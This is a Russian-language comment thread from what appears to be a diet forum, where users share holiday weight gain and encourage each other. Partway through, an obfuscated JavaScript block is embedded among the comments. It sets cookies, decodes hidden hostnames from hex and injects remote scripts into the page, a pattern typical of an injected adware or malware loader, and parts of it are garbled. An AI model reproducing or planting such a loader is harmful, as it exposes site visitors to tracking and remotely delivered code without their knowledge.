И снова в бой)

.Красавица!

Ирина Брум, для того и пашем))) сегодня будет первая тренировка после 2х недельного перерыва... 

классно выглядите!просто красавица!

Я тоже сегодня опять за себя взялась,хватит "праздничать"!

надежда алексеева, спасибо большое!

Ирина Брум, вот это правильно, вот это по-нашему)))

Все пишут, что за новый год набрали 2-3-5 кг. О как же мне страшно становиться на весы

Ирина Брум, организм у меня сегодня даже не просит есть. не хочу и все! привес за праздники 1,5 кг(( 
 

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

хорошенькая)

Ollllchik, а вы и не вставайте недельку,за это время все уже придет в норму,если начать вести дневник и соблюдать правила.

Явообще три набрала,Сегодня все я снова с вами!!!!

Анна написал:
я заплатила 2,5 кг))

эх,у меня прим та же картина  :o вчера весь день дула зеленый чай,всю ночь в результате бегала -утилизировала жидкость -на пол кило стала леХше.Но такая тяжесть во всем теле,чувствую себя кг на 10 толще ,прям тюленем -мерзкое отютение -бррр 

rangy, 

Тaтьяна Салокас, согласна,после такого пищевого разврата надо недельку к весам не подходить,но я вчера таки решилась посмотреть правде в глаза .Хотя уже знала заранее что там увижу.Тем не менее очень хорошо отрезвляет :o .Дневник вчера только заполнила первый раз в НГ,хотя давала себе зарок вести каждый день,но не шмогла 

Гулюса, не шмешно,прям плакать хочеттцца 

Ollllchik, у меня в весах батарейки села, но я не спешу новую покупать, расслаблялась 1-го и 2-го, теперь пройдет неделька- взвешусь и увижу реальную картину. Так что не торопитесь

Ирина Брум, вижу не одна я такая)))) удачи нам всем)))

rangy, да, к весам подходить надо и дневник вести надо, так намного нагляднее картина)) после тренировки хотя бы уже не чувствую себя жирной ленивой попой, снова появляется чувство того, что я нормальный человек...

Гулюса, замечательно))

Ollllchik, алкоголь отлично убивает чувство страха, но лучше не пить и посмотреть правде в глаза)) так вы быстрее войдете в форму)

Все такие красивые, как куколки. Молодцы. Иногда и распускаться нужно, чтобы потом с новыми силами идти к новым победам. Удачи.

Наталья Веденеева, будем стараться) 

довольно приятные фото (другим пусть пример будет)

Денис Моисеев, к этому результату я шла 2 года, надеюсь у других это не займет столько времени

Анна, я больше не про вес, а добрую улыбку

Тaтьяна Салокас, да, тоже подумываю, что недельку вставать на весы не буду, пусть потом отвес будет приятнее  Хотя свои 4 кг за праздники я набрал, уже проверял(((

Денис Моисеев, а, ну это всем нам не помешает) в любом возрасте-весе и вообще)

Вы просто красавица!

Ольга Митина, спасибо!

Анна, lili4ka85, Тaтьяна Салокас, rangy, набралась я все таки смелости и стала на весы. Итого за неделю обжираловок я набрала только 600 г. А я уже думала там +5 кг как минимум

то что не одиноки это точно, с праздником, ничего у нас еще целый год впереди

Красотка!!!

Ollllchik, ну 600г это мелочи жизни

Irina ZH, впереди вообще вся жизнь))

Ирина Давыдова, спасибо!

какие же на нашем сайте девушки красивые собрались!

Алиса в стране Чудес, мы здесь все и собрались, чтобы стать лучше, быть довольными собой - хотя, мне кажется это время никогда не настанет) спасибо)

привес  1,5 кг ,нужно начать  соблюдать правила.

svetlana, даа... я два дня уже в обычном режиме и отвес пока только 200 г... вот печаль-печальная